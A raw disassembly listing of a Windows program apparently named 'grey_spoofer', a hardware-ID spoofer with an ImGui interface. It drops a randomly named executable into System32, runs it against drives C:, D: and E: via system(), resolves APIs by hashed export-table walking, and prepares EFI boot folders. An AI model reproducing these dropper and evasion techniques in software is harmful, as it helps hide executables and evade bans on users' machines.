movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005e201
mov r8d, 0x678
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x140172760]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x1e8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Data_replacement_completed_successfully.
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c7e0
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x10]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x14], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401742d0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x10], xmm0
movss xmm0, dword [0x140396938]
mulss xmm1, dword [0x14039693c]
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm1
call fcn.140005ce0
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x38]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm7
mov qword [rsp + 0x30], r14
mov esi, eax
lea r14, str.Restart_your_PC__and_flash_your_Bios_
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0x38]
movss xmm2, dword [0x140394ce4]
addss xmm0, xmm8
subss xmm2, dword [rbp + 0x3c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140394ce0]
addss xmm2, xmm14
movd xmm1, eax
mulss xmm2, xmm13
cvtdq2ps xmm1, xmm1
addss xmm10, xmm2
movss dword [rbp + 0x38], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x1f4], xmm10
addss xmm0, xmm12
mulss xmm0, xmm13
addss xmm9, xmm0
movss dword [rbp + 0x1f0], xmm9
test esi, 0xff000000
je 0x14005e3ea
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005e3a0
mov r8d, 0x678
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x14017278d]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x1f0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c7e0
movss xmm0, dword [0x1403968b8]
xor esi, esi
comiss xmm0, dword [0x1401743e0]
movss xmm10, dword [0x140174354]
jbe 0x14005d401
mov dword [0x1403968b8], esi
jmp 0x14005d401
mov rbx, qword [0x140395e40]
test rbx, rbx
je 0x14005e42f
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14005e453
jmp 0x14005e432
mov rdi, rsi
mov r8d, 0x130
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140395e40]
test rbx, rbx
jne 0x14005e479
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140395e40]
call fcn.14003e4a0
mov rcx, qword [rdi]
test rcx, rcx
je 0x14005e48c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x140395e40]
mov qword [rbx + 0x88], rsi
mov qword [rbx + 0x98], rsi
test r8, r8
je 0x14005e50d
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14005e502
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x140395e40]
test r8, r8
je 0x14005e530
mov rbx, qword [r8 + 0x90]
test rbx, rbx
jne 0x14005e554
jmp 0x14005e533
mov rbx, rsi
mov r8d, 0xca
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140395e40]
test r8, r8
jne 0x14005e57a
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140395e40]
mov rcx, qword [rbx + 0x38]
lea rdi, [r8 + 8]
test rcx, rcx
je 0x14005e594
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x140395e40]
and dword [rdi + 4], 0xfffffff8
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x88], rsi
test r8, r8
je 0x14005e60b
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x14005e600
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140395e40]
mov qword [0x140395e40], rbx
call fcn.140008290
mov qword [0x140395e40], rsi
test rbx, rbx
je 0x14005e6b8
mov rcx, rbx
call fcn.1400220b0
mov r8, qword [0x140395e40]
test r8, r8
je 0x14005e6af
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14005e6a4
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140396840]
test rcx, rcx
je 0x14005e6d1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140396840], rsi
mov rcx, qword [0x140396838]
test rcx, rcx
je 0x14005e6ea
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140396838], rsi
mov rcx, qword [0x140395ea0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x360]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14005f6c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, Ordinal_50
mov qword [rbp - 0x78], rsi
call fcn.1401310a4
movups xmm0, xmmword [str.C:WindowsSystem32_vdfjdisfudasu.exe]
mov qword [rbp - 0x80], rax
lea rdx, [0x1402231a0]
mov qword [rbp - 0x70], Ordinal_41
mov r9, rax
mov qword [rbp - 0x68], Ordinal_50
mov r8d, 0x390a8
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140170020]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140170030]
mov dword [rax + 0x20], ecx
lea rcx, [rbp - 0x80]
movzx eax, byte [0x140170034]
mov byte [r9 + 0x24], al
mov byte [r9 + 0x25], 0
call fcn.140046df0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005e7c0
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e7bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e7bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14005e855
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14005e855
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005e850
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005e830
cmp edx, 0x2fa62ca8
je 0x14005e85a
test r9d, r9d
jne 0x14005e810
mov rax, qword [rax]
jmp 0x14005e7e0
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xb8]
call fcn.140046c60
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140046c60
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005e937
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005e8c1
mov rsi, qword [rax]
lea rax, [0x140170062]
mov ebx, Ordinal_46
cmp rax, rsi
jbe 0x14005e8f6
lea rax, [rsi + r8]
cmp r14, rax
ja 0x14005e8f6
cmp rsi, r14
ja 0x14005e8e7
xor eax, eax
mov r14d, eax
jmp 0x14005e8f9
mov r14, rsi
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
sub r14, rax
jmp 0x14005e8f9
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
lea rdx, [0x140170062]
sub r8, r14
lea rcx, [rsi + r14]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005e956
mov ebx, Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov rcx, rax
mov qword [rsp + 0x20], r14
call fcn.140066130
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x14016d8bc]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140062ee0
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065670
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005ea1a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea15
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eb32
call fcn.140131320
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005ea68
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eb32
call fcn.140131320
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005eaa3
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea9e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eb32
call fcn.140131320
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005eaea
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eae5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005eb32
call fcn.140131320
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005eb3e
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb39
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eb39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
lea rcx, [rbp + 0xb8]
call fcn.140046c60
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140046c60
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005ebfa
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005eb85
mov rsi, qword [rax]
lea rax, [0x140170092]
cmp rax, rsi
jbe 0x14005ebb5
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp rcx, rax
ja 0x14005ebb5
cmp rsi, rcx
ja 0x14005ebad
xor eax, eax
mov r14d, eax
jmp 0x14005ebb8
mov r14, rsi
sub r14, rcx
jmp 0x14005ebb8
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rbx
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005ec1c
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.140066130
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x14016d8bc]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140062ee0
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065670
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005ece0
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ecdb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005edf8
call fcn.140131320
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005ed2e
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed29
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005edf8
call fcn.140131320
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005ed69
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005edf8
call fcn.140131320
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005edb0
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005edab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005edf8
call fcn.140131320
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005ee04
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005edff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005edff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
lea rcx, [rbp + 0xb8]
call fcn.140046c60
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.140046c60
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005eebc
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005ee4b
mov rsi, qword [rax]
lea rax, [0x1401700c2]
cmp rax, rsi
jbe 0x14005ee7b
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x14005ee7b
cmp rsi, rcx
ja 0x14005ee73
xor eax, eax
mov r14d, eax
jmp 0x14005ee7e
mov r14, rsi
sub r14, rcx
jmp 0x14005ee7e
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x1401700c2]
sub rbx, r14
add rdx, r14
lea rcx, [rsi + r14]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005eede
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.140066130
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x14016d8bc]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140062ee0
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065670
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005efa2
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ef9d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0ba
call fcn.140131320
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005eff0
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005efeb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0ba
call fcn.140131320
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005f02b
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f026
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0ba
call fcn.140131320
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005f072
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f06d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f0ba
call fcn.140131320
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f0c6
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f0c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
xorps xmm0, xmm0
mov qword [rbp + 0xf0], rsi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm0
lea rax, str.Select_the_download_directory
movdqa xmmword [rbp + 0x120], xmm1
lea rcx, [rbp + 0xf0]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x100], rsi
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x14005f754
lea rdx, [rbp + 0x420]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x38], rsi
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14005f151
mov rcx, qword [rbp + 0x38]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
lea rax, [rbp + 0x420]
nop word [rax + rax]
inc r13
cmp word [rax + r13*2], 0
jne 0x14005f170
mov r8, r13
lea rdx, [rbp + 0x420]
lea rcx, [rbp - 0x80]
call fcn.1400648e0
mov r8d, 4
lea rdx, str.efi
lea rcx, [rbp - 0x80]
call fcn.140061b10
mov qword [rbp - 0x20], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14005f214
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f20f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f20f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
lea r8, str._boot
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140063b80
cmp qword [rbp - 0x18], 7
lea rcx, [rbp - 0x30]
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005f258
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005f258
lea rdx, str.Error_creating_efi_folder.
jmp 0x14005f284
lea rcx, [rbp + 0x10]
call fcn.140061b00
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005f2a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005f2a5
